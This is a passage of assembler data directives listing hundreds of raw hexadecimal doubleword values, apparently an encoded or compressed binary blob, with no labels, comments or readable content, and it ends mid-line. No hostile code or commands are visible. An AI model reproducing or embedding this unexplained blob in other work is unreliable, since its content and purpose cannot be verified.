dd 0A37DCC2Ch, 5CF49874h, 0DD5300E6h, 8325496Fh, 0D6007005h dd 0DC386E5Dh, 0F67695h, 7C7A1D90h, 5CE073F1h, 5FC3F4Ch dd 0C6101F2Bh, 60508C04h, 81E29580h, 9F7A0097h, 4FE52ABCh dd 0D6005DC7h, 51FD74C0h, 0A5892Dh, 0DDC4C521h, 4B997BDh dd 2B719A00h, 81F06E6Bh, 0E3E400A4h, 4CB896F8h, 8560ECE6h dd 1A535C90h, 1D860972h, 2900B28Fh, 16180989h, 5EB06C00h dd 0BC123D53h, 0A80600D0h, 76325887h, 0A50470E7h, 451F28FEh dd 3AEA0580h, 0AE4E059Dh, 0ABD5ECh, 42FE93B7h, 7CF0A20Fh dd 0DC90F500h, 723BD44Eh, 0B00700BEh, 0FA7448B3h, 0F5009597h dd 22E2F4CDh, 0F677523Ah, 19F8011Ch, 462CABE6h, 6CD0D394h dd 0F9F9CF09h, 0A51EC828h, 0BC3F1002h, 8027B733h, 55A9AB8Dh dd 28AF0030h, 4D427161h, 0F307EC4Eh, 44C3061Ah, 77F9AC90h dd 8335012Ch, 38479D87h, 92D8DF65h, 0A500AA40h, 8BA37467h dd 1CD0F50h, 12B33223h, 0F04D36BDh, 14B0494Eh, 9EFC9200h dd 0A9638B9Fh, 18606028h, 0EBA18735h, 562D8000h, 8499FA10h dd 0B07C16F6h, 7F1ACE5h, 4317F5A0h, 81F43C10h, 3E6A00D0h dd 0AFC0370Ah, 2E00770Dh, 0F5F8C423h, 39896915h, 71804A31h dd 4F6AA870h, 2E1D1E40h, 0ABC013B4h, 0B7B3A2DDh, 51300061h dd 9C347582h, 1B0005C8h, 29E40A79h, 90C5A3h, 0D1CD7094h dd 4B8C9FC9h, 8283C8C9h, 448D5777h, 0A49884h, 69264AA2h dd 47AE27C5h, 5895E400h, 15DDCE4Dh, 81A9006Bh, 21116F6Ch dd 0E900F1C9h, 4AE32BBBh, 469065h, 0E0EB3185h, 6F7D11C4h dd 94B4F900h, 0D62D8143h, 0F116008Fh, 25A11EFBh, 0EF0BB5A2h dd 87AE80E2h, 0D9D07730h, 43BCB4h, 3C39954Dh, 0F4933828h dd 308D0E01h, 254C6C0Ah, 0CA3380CFh, 71EFA040h, 37DA0786h dd 0F1AEC960h, 3013929Dh, 4C034948h, 5F2A615h, 0B308906Ch dd 2EC98A2h, 0E5B9763Dh, 9E603785h, 0E1F243A3h, 41818400h dd 545E7D4Fh, 0A1110002h, 0D98A55B1h, 1D4CA7FFh, 75D04C34h dd 99765F0Ch, 72C750A1h, 131A0BE5h, 8A064BEh, 592647C3h dd 165BC400h, 30A9AE6Dh, 3ADE0CEh, 0D35D924Ch, 0D8E08472h dd 0CA0F06DBh, 409AF974h, 580126DEh, 0A26803ECh, 57D4CE7Dh dd 0F1770498h, 90E6B400h, 8720AEE3h, 0B03CF0E7h, 395400A4h dd 7EE99919h, 7000FE2Fh, 27DF5C7Ch, 3F3822h, 0D59A2987h dd 4D6402E9h, 0D8064438h, 24D380A8h, 174C3C7h, 5BDFBBBh dd 60BA0B3Dh, 0DD38E9A4h, 64732C3Fh, 76F04900h, 0D552EEh dd 31FA8C0Ch, 0D3CDA00Dh, 8DF5EB07h, 0D053811Dh, 7720F05Eh dd 2D7A0307h, 0B8465D11h, 0BDEE0ED8h, 802C1739h, 76FF6C6Ah dd 1A3196h, 8492B4D4h, 9181143h, 7C558D05h, 76C0C9A5h dd 984CA930h, 0E6BC00D4h, 5A755CB4h, 0D13B73Dh, 0E000C65Fh dd 8DAD6BA2h, 8E03006Dh, 0F1D79157h, 20076A7Dh, 0EEDCDDFCh dd 0E40E1ED5h, 6B9FC094h, 21F880h, 81DBD787h, 579CDD8Fh dd 0C8F15Ch, 6C4E34Dh, 1EF41650h, 0E4C022AEh, 0D83C0068h dd 0DC68E910h, 8001C13Fh, 0B3A48B2Ah, 0B7439Bh, 718193D9h dd 7CB04F05h, 9D0E7500h, 0D001FD5Ah, 9A183DFEh, 0B571E402h dd 4450D268h, 8018B15Ch, 0BEFA1549h, 48BB0039h, 5D08634Eh dd 5800F1E6h, 88C94614h, 0CA84137h, 45914DECh, 0DE1CA478h dd 0ED80F6C2h, 5B895575h, 25E7EAD0h, 8C80065Fh, 74A1FC46h dd 0C7F57B04h, 5880FEBAh, 0B2C4294Dh, 63DA1280h, 678480C9h dd 8A00A6E1h, 0C46AEB5Bh, 9900C7Dh, 452E0DA2h, 80E8020h dd 23032787h, 0DE9D7CB1h, 991828B3h, 4E2F00E2h, 385CF385h dd 6E0F014Bh, 0C05B8B5Eh dd 0FDAE2540h, 0D80A0067h, 3B28F5B1h, 0F100472Fh, 0A6756ACBh dd 4D1F4954h, 8726C0B5h, 718305E6h, 2DC90FBh, 2B07C16Dh dd 0BE24DA0h, 71001267h, 9AA6B179h, 25F258h, 0BFF59ABEh dd 8252B59Ch, 9FC77202h, 60217491h, 1E2875Ch, 73E745D8h dd 20F47976h, 6600AB00h, 8EB8ED64h, 5AC9DCh, 3483C1BDh dd 0FA0F7605h, 2DC0ECB1h, 12451A75h, 0C0F264A9h, 0EF550904h dd 0FC962500h, 9ED35C54h, 99A72847h, 0E89B00E4h, 74EA21F6h dd 0F0013EC7h, 0F130AA62h, 8080674Dh, 0D16D7109h, 5C01B550h dd 7D97F484h, 5E789D79h, 40051913h, 6FB557A4h, 4F0F1573h dd 0A0908669h, 0ED36A226h, 0C8F30074h, 0A6E4A4Bh, 0E400CBE6h dd 0B54FD97Fh, 0B079FAh, 0F201C95Fh, 352AD27Ah, 0E4DFEC02h dd 0C032C4B3h, 1850C04h, 58B9F804h, 0F0DE776Eh, 8438B656h dd 39D00098h, 654857C1h, 60AF1655h, 0F37A02DAh, 3C60633Bh dd 8CE2CBC3h, 388E001h, 1E045FF0h, 38185C8h, 37EC6195h dd 0D2D8D7A6h, 6C009814h, 0BEA7963h, 0CE42CC8Ch, 0CF60ED9Ah dd 0B0753789h, 0DBE8201Dh, 220CC740h, 0D89E27h, 0F25F65B2h dd 0DAAF25BFh, 0A320BB60h, 2409ADCAh, 1FBCC238h, 2156D091h dd 0F61D84h, 7FAE6F5Dh, 0BF255092h, 70C80146h, 1FC1C701h dd 0C9207B10h, 9C00DC90h, 0D24DEA40h, 0AD2566h, 9901EEA9h dd 0FD12EC63h, 0D9AE4B1Eh, 6B021080h, 168C0FC5h, 7B6225Bh dd 60318054h, 0A320BE9Eh, 190A7D01h, 95F53BD3h, 0B07ADCFCh dd 355E858h, 79FCF7F0h, 5FE85DDAh, 900B1B2h, 0BF301275h dd 939E023h, 9CAA45A1h, 82F1C000h, 2E1EF568h, 3440EC43h dd 115E749Fh, 2F8E020Eh, 0F0457F4Bh, 0E0E55040h, 0D7A8300h dd 953B7110h, 9DBE3094h, 0B3A53048h, 0F8B4D600h, 54DC52C9h dd 81C30183h, 0B694BFD2h, 0E1DEECDFh, 0A3F60700h, 979DCAC2h dd 9E78007Ah, 0A332E55h, 2F07774Fh, 6E8207EEh, 7F848D40h dd 4570007Ch, 0E334BC65h, 0D10018EBh, 710367FAh, 3C049125h dd 0B381933Eh, 3B4A90A8h, 7CE03422h, 7E4B1600h, 5A71FE85h dd 8D63009Fh, 0AD43C03Eh, 0A400FC1Dh, 8489ECCFh, 96DA91h dd 75F73381h, 5698779Dh, 0BAD9BB1Eh, 5028DB81h, 1B208841h dd 42E209C7h, 0F84BD7B1h, 60372AE9h, 0E60068ACh, 6A8159BAh dd 0B47161h, 54385BE8h, 0B886E44Ah, 9A34DD00h, 126EFB26h dd 32C30BD5h, 3490B240h, 192CC195h, 0CB8030DAh, 31412F62h dd 0FE689008h, 580F00CCh, 944A6647h, 0D00EDF3Eh, 2B132AEh dd 509C199Dh, 1EE09FDCh, 4275BD4Eh, 0BF983201h, 756DB78h dd 0B0CCF434h, 9E8C5870h, 0D9E73200h, 0C5E3B0A4h, 20EBDB8h dd 0C0240383h, 0E49AC21h, 0FED20965h, 800EBCAh, 44291282h dd 9301F8ECh, 6F3EF34Ah, 0E8FFAB5Ch, 6BAE70h, 1599F6B9h dd 0C1B349B6h, 0C4467600h, 77720E07h, 828B000Bh, 744CC845h dd 0EA1FAD63h, 5626147Fh, 0E1ACBE00h, 84381Bh, 559BE445h dd 0FD141C15h, 34BAAD00h, 0CB369D58h, 0D0C16033h, 0E5D2D73Bh dd 2E7E8924h, 0A40A41Ch, 0D8434718h, 62670044h, 8909DDB2h dd 15001917h, 0F56EFC31h, 90F2E05Ch, 0BECCE3AAh, 0C31E004Fh dd 3520E492h, 0C51C4385h, 0A100600Ah, 6CFD9B96h, 72DA0052h dd 0EF4957Ch, 5E0450DBh, 0D8567539h, 0C2F8B4E5h, 347E1632h dd 0B51841AFh, 611F53B9h, 9FB1DCB1h, 0FE061000h, 24EE8276h dd 7FFB003Fh, 0FF69A037h, 9B0078AEh, 0A230C254h, 34FE04Bh dd 60184DFh, 0E38893A7h, 0BB0FB30Bh, 412FC5D8h, 2D6C91BEh dd 0FA83AD8h, 0C030A4BDh, 0FE703E00h, 5173E15Dh, 0AB593800h dd 0F2C2C5DDh, 0EE0526BEh, 33BC28B4h, 6D5C6CEDh, 53E062C8h dd 6048B607h, 71F0A874h, 1E6842h, 9A172AD4h, 890D6173h dd 0FAE925h, 0E22741E8h, 0A4B90136h, 60749B24h, 0D90FFC1Bh dd 917F5200h, 2136F0DDh, 0CD6E009Ch, 60CBB254h, 0DBFEEEAFh dd 130FE302h, 483DE9A1h, 73A53454h, 841C0937h, 70A0EF7Ah dd 2AF358DEh, 3F472D02h, 7F238907h, 791CABE0h, 80F27D39h dd 5040CB14h, 2903E7h, 0AD414549h, 0C7A7A2B1h, 1C1AC024h dd 4CAF9E87h, 7CB704Ch, 0CCC17B76h, 0C3A44786h, 291F1B7Fh dd 67E06E37h, 0F16C1851h, 355CBC2Dh, 9860F2F4h, 210C981Fh dd 8A5576Ah, 0C2B233C3h, 1000A620h, 4A3672FEh, 3E8072Ah dd 192610A8h, 0B0F75A3Eh, 99A7F74h, 0C7914961h, 71801B4Eh dd 3A4DE6A4h, 7898698Bh, 0D43C5B51h, 67007F79h, 0C61F0C82h dd 1D3528D2h, 9D4E76D0h, 0E43E80EAh, 0FAD59497h, 40C0F600h dd 560D1C01h, 103F005Bh, 0D96D3B69h, 5700B1E0h, 0AC254546h dd 0F7DD7A4h, 6BDCE3E6h, 58AEC0FEh, 633A667Fh, 1851BF00h dd 4BC1D4B5h, 0EE520070h, 0ACC06ACEh, 620414B6h, 74B0B34Fh dd 4968D2C0h, 0DC8F0B82h, 0AC212FB7h, 702BADA8h, 3002581h dd 924A9E35h, 1F8C6D19h, 5AC722h, 0FAD66761h, 0A40070E0h dd 53D8F08h, 0F9E2F456h, 9ADDF8h, 7D7226ACh, 0A3D3BF03h dd 81D51D27h, 117EEFB6h, 48D2D320h, 0BD0002A6h, 33D9C826h dd 2701669Eh, 1AF8DD98h, 0F4501743h, 0EE54B9h, 6AEF42BEh dd 0E2C0C965h, 4A393A1Ch, 0CAB703FEh, 0A1E43D4h, 0DA4D2031h dd 37C082D8h, 0CCA0D6C6h, 4FE59CDBh, 0FD75F900h, 8D8F93C7h dd 380A4C2h, 0C116F522h, 600CB7Ch, 10A49C03h, 24E682h dd 0D62DB623h, 3A55AFC5h, 6778D000h, 0E2A564FFh, 7DE10EBBh dd 0EB60B72Dh, 7A5F3E32h, 0FEA1720Fh, 0A5001FF0h, 77AA9640h dd 95E4B2h, 9D8DF1B3h, 0C02CB69Bh, 8666283Bh, 94D788BEh dd 0BC734429h, 1AC68D03h, 91E2357Ch, 9BD40521h, 0F0DB0091h dd 80D059D4h, 0F1007C4Fh, 128FEF02h, 0DA0DFEh, 0B5856D05h dd 0EC33184Ch, 0B0207600h, 0EB61E28Fh, 6BA0027h, 89F8D540h dd 0D601570Eh, 70D42BCFh, 63D8E8FDh, 1CEE007Eh, 57497AE6h dd 543A8090h, 0DA4C015Ch, 73C778Fh, 0E5C04F31h, 33F00DDh dd 0C1FF9ABEh, 0B5C9BF2h, 0AA8A005Eh, 0C2F03442h, 6D810A9Fh dd 0F8C7EB8h, 8E065A3h, 0CDBB1B61h, 0A0767228h, 0F0178606h dd 0AE3341h, 973C663Dh, 0FAC514ECh, 0CECF2005h, 0AB98C6h dd 8E0C2444h, 0D07B6D1h, 0B41BC376h, 60D2BB10h, 0C5F507F8h dd 400B7F3Ah, 918E357Dh, 40983E0Bh, 0D20780EAh, 98CFDA7h dd 0E4A5D369h, 0AF471500h, 0E0009D8Fh, 0D2DA6FC2h, 70EBFA8h dd 0C3F46C3Fh, 5AA62339h, 34547080h, 0B21E1103h, 0A8B7058Ch dd 3F8F4BF1h, 7380C3AEh, 4FCE7881h, 1903F45Eh, 9A990D38h dd 968FC16Eh, 1D2206E8h, 92DEED9Ch, 0C52000B9h, 84721E7Ah dd 4DDA3200h, 132D1D2Bh, 0EC4E49Ah, 78E7C18Ch, 0FB997040h dd 0CA009787h, 1D61A032h, 4BADEE5h, 146B1047h, 0A8538076h dd 0F8A062F3h, 97032212h, 0F8D737B9h, 0C0EFB5B7h, 6B1B36A1h dd 804C3E3Eh, 6D063383h, 381F6B3h, 1774342Dh, 0EFC8F07Ch dd 7E00F315h, 0D61C3C98h, 16EB026h, 0CCDCF7D8h, 0DCF8B28Ah dd 0A107696Ch, 0F2BA36B3h, 0BCA72DC0h, 0F444744Ah, 0E4E214F6h dd 8100F47Ah, 7731CBD6h, 79002E20h, 7984F73h, 1B08446h dd 91B802CFh, 0E464821Bh, 0A60025F0h, 0EB6CAD78h, 1CAB7623h dd 8E6346BEh, 0A001367Bh, 0C832BAE7h, 0D990FEA7h, 8076FD01h dd 0D0BDDD18h, 1EA9FAECh, 3020E5F5h, 628B5928h, 0D90E7D7Ch dd 0A9778D0Bh, 30E40035h, 0F8EFBD5h, 0AA315E63h, 4BBB6821h dd 15D44003h, 0F9004440h dd 8E206F2Ah, 279AAEh, 249811B6h, 5C4714E0h, 0CEE82D01h dd 0EB107BF1h, 0B8609EC1h, 1B9930BAh, 724BD830h, 0E4C21E09h dd 9B1487ECh, 0A102B470h, 78FD0120h, 0A6D09C6Ch, 7964E081h dd 8B009C90h, 6AE60448h, 2EC51B5Ah, 3DF42D6h, 395CD4D9h dd 0A843CAB2h, 808BE1h, 0AF5B07h, 0C7588F34h, 0C606A52Ah dd 1F43011Eh, 64D13CC1h, 0E6D48781h, 0BD6100A1h, 1268BBD4h dd 2900B6A2h, 0E3CBDE82h, 1102BE9h, 94488DAh, 40DD3F2Fh dd 9AFC77FCh, 6B124E00h, 0BC4CE8E3h, 32173C7h, 9506191Dh dd 0E0EFFE8Ch, 0A764C17Fh, 0C299B000h, 98B137CEh, 41180004h dd 0B259C905h, 0F5000A45h, 4C792CC7h, 4ACA69Bh, 9D5194BCh dd 0BAD7C0F6h, 861938DBh, 45E07BE1h, 0DDAAD8h, 188AC108h dd 0C649FB17h, 3C27EE00h, 6DC881ECh, 0E8790938h, 1802D10Dh dd 0E9E096DCh, 0BE3ACA6Ah, 72F3F15h, 5BFBF7DFh, 1081EFA4h dd 0DCD8E70Bh, 837B1339h, 20880050h, 5488971Dh, 61F6A200h dd 0D5B8991Ch, 0A11892D4h, 0DFE0D259h, 0B17C26A4h, 7A25400Ch dd 4B3EAC76h, 0AA308049h, 0FA627164h, 19F4A074h, 0E7F2002Ch dd 0D8B53654h, 0CA002EA6h, 0BC0C9671h, 1E1F726Bh, 0C0301262h dd 0A6A92980h, 4F008876h, 1BA7B3DFh, 0D00EF8h, 0AA9082B9h dd 0CB4DBA20h, 6E64DA00h, 223E170Ch, 70334821h, 0BC1E6D58h dd 6F34406Ah, 4D39674Eh, 1E6D101h, 0D5280FEFh, 12B1C170h dd 41DF19A8h, 97CE44A0h, 3A1CC98h, 4B6B3A00h, 22ACE434h dd 6EAD03DFh, 0BC4F1E82h, 0EE0329E0h, 0A82C5700h, 3340564Ch dd 0A3050062h, 82C5E106h, 4A008488h, 0A9C604C0h, 3CD313h dd 705B5345h, 0B387A035h, 3566F03h, 0E0ED6CC7h, 9B6C6ABh dd 0D32054FEh, 93E72C03h, 113D46A8h, 8300CC76h, 0F2F75E7Ah dd 0FA4F63h, 35585918h, 0FB3F84ADh, 689F9400h, 6A7587EFh dd 10F6041Fh, 80F517CCh, 1E0C7DC0h, 587856E8h, 24EEF207h dd 0E0B0BC25h, 2144FFh, 0B8ECE81Bh, 1A73547Dh, 18BAC300h dd 23A1E06Ch, 1B3D248Eh, 93EA00F1h, 0AE6066B6h, 35FBDB0Bh dd 8210A127h, 3ED37C8Ch, 7B00C870h, 6F0F901Fh, 0B61403D2h dd 701062A8h, 39297E32h, 0C8AF60ABh, 1BF074ADh, 1810CE14h dd 65D980C0h, 0D6B95000h, 7475196Bh, 20C50070h, 959993FCh dd 4D06AA21h, 972BFA55h, 396F3E11h, 0D2F9F030h, 0FC781C46h dd 64BABCE8h, 5E004DFAh, 0B339017Bh, 3B6CB77Eh, 0B9A8700Fh dd 0D9EC011Ch, 0E76A5008h, 62C012BBh, 0B68C057h, 370C1FD8h dd 80604070h, 87AAE1A7h, 5EB21305h, 80C098F2h, 0F1BCBAh dd 1A779315h, 0E5B74331h, 0CA053900h, 1D406F52h, 1F690F95h dd 660028C2h, 99610A5Ch, 0D9FF2709h, 896B00A4h, 3C52F8h dd 84124020h, 0D0452B1Bh, 480076E2h, 90D2434Eh, 5C971C9Eh dd 0A000058Ch, 8F3855BFh, 9307C64Bh, 36193D73h, 6785F3C0h dd 0BE1E0043h, 0FE7086A5h, 0BF07F6D8h, 73154587h, 0F6637B0h dd 172D17EAh, 0D17F0026h, 0F74651DCh, 273A7801h, 3C2B4C84h dd 0E857C4h, 0E6F5A4D6h, 16EEE42h, 0C4988C01h, 86DD817Fh dd 80F2F853h, 3DF08094h, 0D4839D71h, 0A68143DEh, 0B780398Bh dd 5307B5F3h, 21FF110Dh, 35B3550h, 0F5670CE9h, 0D7482D58h dd 8E5FB0Fh, 0B6871E65h, 16C00E62h, 9A13A0BBh, 0A93F000h dd 0A7CDF15Bh, 9E6400ECh, 356A8DD5h, 569F21C1h, 6DCC96FAh dd 5AE71F16h, 17B28E39h, 51C01F8Eh, 28BBFC57h, 0DBA7380Fh dd 6B94A0AFh, 147B79Ah, 78270418h, 249F0DA9h, 0FB00D80Ch dd 21260ACDh, 3FC7A7F9h, 0D61F287Ch, 0B7B541B6h, 0D0341A48h dd 0E67B6E8Dh, 8B003090h, 90D1BB10h, 0F51B0FFh, 0D0381DACh dd 7FFBB103h, 331568C0h, 16007073h, 0BC36AA48h, 3C02CB63h dd 114CC4BBh, 12780863h, 0C2552000h, 0E1329063h, 8DFA8Ah dd 0E4352950h, 976764D0h, 0A94A0E00h, 0A7B9EA14h, 0FA0B0716h dd 0C00F8358h, 48AA9769h, 78717383h, 0FA5818ACh, 0C5F61113h dd 8DB87200h, 9515CC33h, 60CB74E3h, 1ED42102h, 8C0C6373h dd 583CC124h, 41A77361h, 5750917Dh, 0CB732080h, 0CE78B8Dh dd 1DD588F9h, 0C77358h, 536F49D1h, 0CE936FBh, 132C47C3h dd 37051DA9h, 15D1993Ah, 6FCF9C21h, 6308B80Ch, 0C41B02BFh dd 0BE59408Eh, 0B8E51C63h, 7B273EFBh, 7199370Fh, 0FCC82EAh dd 6260AE47h, 0F8C9545Ah, 0D5183E0Bh, 13BF00DDh, 0E40F7Dh dd 8A44C504h, 3A0E48FDh, 0F1826C00h, 0D386DE93h, 7F521CDAh dd 24D0C00Fh, 1639C97h, 0B7C7E900h, 0F992A216h, 22757Eh dd 2CC37604h, 77DC565Ah, 5E91F300h, 42277B3Ch, 217DFDh dd 0FE04D3ACh, 59E1D91Ah, 338E771Ch, 0C0DE4F0Eh, 685C7429h dd 21900F9h, 6D0FAA04h, 5500FF78h, 0C07A0145h, 0F02526h dd 0A4C94A19h, 0D8036940h, 0B623B00h, 5AC535E2h, 0D47A01h dd 0B14E92C9h, 0F7C08B04h, 9E0040EAh, 70818DAAh, 1310E89h dd 189257DAh, 0E00B5FB6h, 770F5A3Ch, 6017ECA9h, 0B48555D2h dd 482E6906h, 4CE09200h, 0BD79403Ah, 194DF233h, 0FA01C0F6h dd 0C9B70868h, 0E6814746h, 0A09B6EA2h, 0C4C7DDF3h, 4DB9F561h dd 1531B08Eh, 244A86A0h, 1F002058h, 0A4B3491Ch, 1CA997CDh dd 0CE3ACED4h, 0F72F951Bh, 0C957D900h, 391876DAh, 5AF9D58Bh dd 22EC1ECFh, 82FC1D8h, 0F0AA1CD2h, 0C874B921h, 0B7F2F103h dd 59F6AB1h, 36A5F398h, 959880EBh, 0FC269BD6h, 0D400C7B8h dd 750C8FC7h, 2CE203A9h, 2D09B21Ch, 80D323A1h, 0C9A7E20h dd 0E0D7629Fh, 0C8F2BBh, 0DDA6A430h, 4CB917B0h, 9347D0Ch dd 732730E5h, 24B25C1Ch, 0ED72E200h, 663159DDh, 8F952100h dd 9A38A4F0h, 0C51630AEh, 0CF2FC140h, 0A3702763h, 0E91D356h dd 1E398918h, 38B2C983h, 0E490D590h, 632FAA00h, 88C8D370h dd 0EB3D3E57h, 27D1306Ch, 61BBD600h, 0FB2CA2Bh, 54E500EEh dd 90ECB916h, 0D6604267h, 5B86B329h, 0E54E017Bh, 8C53D3BCh dd 91C3D3C0h, 1A0A2000h, 5CC5605Bh, 0C34D0094h, 0C47DF8E6h dd 0B1C1CED1h, 1476619h, 0A24C4B00h, 4E0F00F7h, 0E1CC6F75h dd 0D69607C0h, 2A002C41h, 0B01ACEC5h, 109395h, 0B44D7922h dd 9DB14B1h, 0F8E90472h, 0EF008A75h, 0FCCF5327h, 718D5406h dd 7EFEB8F5h, 61520369h, 622294E0h, 0B95303A1h, 0CB258020h dd 0B50831F7h, 181560F3h, 3E027859h, 612B0400h, 0EF0C1977h dd 6A70064h, 38DB07B6h, 71DD823Ch, 0CA023BE3h, 62328A6Dh dd 4F10F919h, 0CC00CB09h, 0EF812AC6h, 0CB60Ah, 3353136Ch dd 8E8B3FF7h, 6D88F560h, 0EC01D452h, 5FE93804h, 0B408B331h dd 4B2083F4h, 88F0D606h, 1F962277h, 36307AC2h, 0F564C998h dd 0FB60DEA0h, 8A236CCAh, 6F7110Ah, 41CB6446h, 25D62CF2h dd 2B080EC7h, 0AD5871FFh, 0A0150337h, 984278BAh, 0DDBE00E5h dd 0EA932506h, 8698C360h, 42F93390h, 6C953698h, 280A591h dd 32DED552h, 0EC20C3F4h, 0F17E0140h, 0B60B4ADBh, 3E18F0B9h dd 613318C0h, 3E2843B2h, 0F80CBA53h, 963080E9h, 0DCD0B500h dd 18438B83h, 0E55600D7h, 640CF5DBh, 8D00FC6Dh, 0BA621B4Dh dd 7C859816h, 7263983Bh, 0D9ECC5h, 832C49BDh, 15AC0AC1h dd 0F8CA9100h, 74ED88F2h, 0D8BB00BFh, 0EF7B59B9h, 0B706DA25h dd 2B5B9A2Fh, 0BB010338h, 0BCC4433Ch, 0CFA31000h, 0D706CE0Bh dd 469F18D2h, 0B082086Fh, 555220C0h, 118730Ah, 5A4C7965h dd 0C4260C95h, 9A3336BBh dd 0C08749C3h, 0C1A4521Ch, 225AA3A8h, 58C086E3h, 48282C2Fh dd 38009E8Eh, 3A09194Dh, 6A0092B4h, 88CD4CC4h, 0FA2D915h dd 2BB0B7E0h, 394AE6C6h, 4CCE900h, 6FC79148h, 0DF7831B2h dd 0AC2BE608h, 4001520h, 5AC642F8h, 0BD0E3E38h, 0A17C1D72h dd 1D4C4039h, 0B75E5803h, 611A6500h, 7C1784DDh, 9DFC015Dh dd 0D76CEDDFh, 4EBFE837h, 0F800D27Eh, 3C297E5Ch, 1F4660C0h dd 0E98EC2h, 49910D01h, 0A40026DAh, 63D51F0Bh, 0E1B0Fh dd 8944E2A0h, 9CE051ABh, 0B86D9E0Fh, 0F9F7A095h, 3AD7912Eh dd 0E580D3A3h, 5D37C381h, 7F001CAEh, 0FAF71964h, 22C7DEh dd 0A570D25h, 4149B8D9h, 0B5B0E90Fh, 4EE06442h, 35BEAC80h dd 0B4340025h, 3847611Eh, 0AC00BD52h, 733AAAF2h, 3DC1DBh dd 0F9959DE4h, 5246E996h, 80F1863Ah, 6BE3F6FCh, 1F1D3383h dd 14432Dh, 0E0039EACh, 600708CFh, 0F66B8EDh, 68524550h dd 0A2100598h, 8001BB96h, 8F1BA819h, 2084EC30h, 34B06E7h dd 939E5B0Fh, 46C86854h, 79C0CAF9h, 0AFEA73Eh, 0B76CEh dd 6E795749h, 2E74DD4h, 0BD2FA903h, 0C091B31Fh, 0C0CBFB50h dd 47B08739h, 0FE00583Fh, 8DB1C878h, 0DBC97Fh, 1ACC1E92h dd 44AE509Fh, 0D3A7E300h, 0C9B8EA97h, 0C769004Eh, 9DCAC6B0h dd 40018E83h, 802ED16Bh, 0DECC6F1Ah, 5F3F309Fh, 0C87973E8h dd 0B851BD31h, 0ABCC85E8h, 0AAD25838h, 2F573201h, 80B443B5h dd 0DE3563A0h, 70E3BD55h, 0DCA13AE4h, 0E69CEC81h, 0F1239F41h dd 0B5804067h, 7D001CB0h, 1B9ACF2Eh, 6D9EFC9h, 70795B35h dd 98F871B4h, 15676401h, 9E4816B2h, 26391880h, 5A91405Bh dd 9AD10F00h, 0CC553A4Eh, 0B7D0008Fh, 623A25Eh, 0F803B8EEh dd 5B30F29Eh, 3F1200A5h, 0D2A652Eh, 0CF00A405h, 274F3AE4h dd 76139BC6h, 0F5EA00B6h, 5210500Bh, 0F2001732h, 607CF46h dd 0FDC3790h, 0CD7805CBh, 8E1BA5E7h, 0E0A0B7Fh, 9429CB0Ch dd 3F695303h, 247255h, 45422C69h, 236AFEBFh, 5350A618h dd 6416118h, 56D3125Ah, 0B53B4049h, 0DFC38057h, 3F996577h dd 0D53E033Dh, 0DA1319AEh, 1DC8201Eh, 4D283040h, 304154F5h dd 1C50060Ah, 0BBE229BDh, 521BB500h, 0C19C1609h, 5F78006Eh dd 0A3360733h, 0B803C6C0h, 616DAE1Eh, 6BF4D823h, 4680C0A2h dd 43AC3534h, 21A5A8CCh, 0D12D07E6h, 43B39CBDh, 7071085Ah dd 4A63A900h, 45990258h, 89BE006Dh, 7AB46CB7h, 533E1761h dd 0D85D0F0Dh, 0CEE58040h, 891116h, 27E855D4h, 0D6B5946Dh dd 0BCF1A606h, 30080F0Eh, 0D220D0BFh, 2E389475h, 1C538714h dd 0F426CBD6h, 3D930F58h, 3965581h, 0E854B1F3h, 12476010h dd 22946EC7h, 28305ED5h, 5F5D80D1h, 70E79403h, 0B04027D8h dd 691DA16h, 0E9B2538Ah, 6A784887h, 0C3ED6118h, 0E6C811h dd 0D36EFD8Fh, 0D1755184h, 11808D0h, 0C2905EB5h, 26E0F0ADh dd 53180FEFh, 2983E66Eh, 2800E857h, 19A41EF5h, 199E83F2h dd 87CDA63h, 1A499370h, 0F1C2A207h, 0A8B05513h, 0FE826CDBh dd 0B46B0C89h, 8B58BAE2h, 98E63D2Ah, 9BD2EE02h, 82D4786Dh dd 812136B8h, 2C6A878Ch, 0FC355720h, 264E3AC2h, 0F52A2B00h dd 4C2DE875h, 0C1BD0930h, 9B0ED6h, 0D185971Ch, 3F186D88h dd 6CB6541Fh, 0A30CCF0Fh, 0B8A03DACh, 207912h, 0F5E4EF33h dd 8A6570D5h, 540F94EAh, 83E9BD1Ah, 0E068C755h, 8D896Dh dd 6C330FC4h, 3D3135CFh, 0FA8E3000h, 6A94EB46h, 6062E847h dd 0E04F2036h, 4303A63Ah, 84AAD775h, 0D16AE0ADh, 0EC95011Bh dd 0A8E74415h, 3078F7CEh, 0D2C158C1h, 0CF1314h, 4FA36F11h dd 0CD66E580h, 3F066779h, 0D1516826h, 2B2A0020h, 39069D4Fh dd 0E03F68Ah, 0A8597B37h, 3C580627h, 787A2991h, 90F97C0Ch dd 0E118F8h, 0D261FC6Fh, 652D8AE0h, 2138D100h, 0EED70F1h dd 3F1B0083h, 0C24159B4h, 0F22CBF56h, 9600FB67h, 6FA25120h dd 921E00ACh, 0A3DA680Ch, 0F4391F22h, 24A7059Fh, 0DCC0B551h dd 7FFC302h, 5D5F1387h, 0D63820D4h, 0E1000A7Fh, 9E7839EEh dd 2FC033h, 9094D91Ah, 0AAA11B29h, 8EAEFC00h, 0DFD1305Fh dd 3C2500F5h, 7E674261h, 0FD03A7EEh, 2973BB0Ah, 5F32D056h dd 0A8053947h, 93303500h, 3A16537Bh, 6AE2EB30h, 51197Eh dd 681840B2h, 853EDC9Dh, 3D86650Ch, 1C4621F7h, 40BF37E9h dd 174E506Bh, 0F10FCF95h, 40D83E82h, 818B9AEFh, 7131C0F4h dd 0C61746D4h, 54B62A00h, 0AEECA803h, 813A1B05h, 280C0830h dd 21AA26E8h, 7D43E3Bh, 1453790Ch, 0BA186C49h, 44C0495Dh dd 0E266009Eh, 70EF6E72h, 67209A2h, 83567A00h, 0F11980A7h dd 3E79F422h, 273008F5h, 0A4AB2929h, 0AEE27600h, 0AC7C3803h dd 3D7400FEh, 83DED053h, 8B0006E1h, 15FC954Fh, 51FD4037h dd 24EC91A1h, 28611CECh, 7B9643E9h, 9FF89077h, 0BEF8A9B9h dd 0ECEEC02Ch, 0BC0FF906h, 715600AAh, 53BDF038h, 54009B12h dd 0A7D8EA75h, 4BD351h, 2C950C6Bh, 775BA2CEh, 6CD4AD00h dd 12510F46h, 4F1B30DBh, 0DE56F228h, 0E7EFED00h, 8726CE33h dd 1E09888h, 0F2C6812h, 0F3DE6B4Fh, 0CF5C3000h, 0B0FBBAC8h dd 0B949000Ah, 605987C2h, 0C9E4D42Ch, 0A51FAC00h, 0EB5FEBAh dd 6940945h, 0E1833D14h, 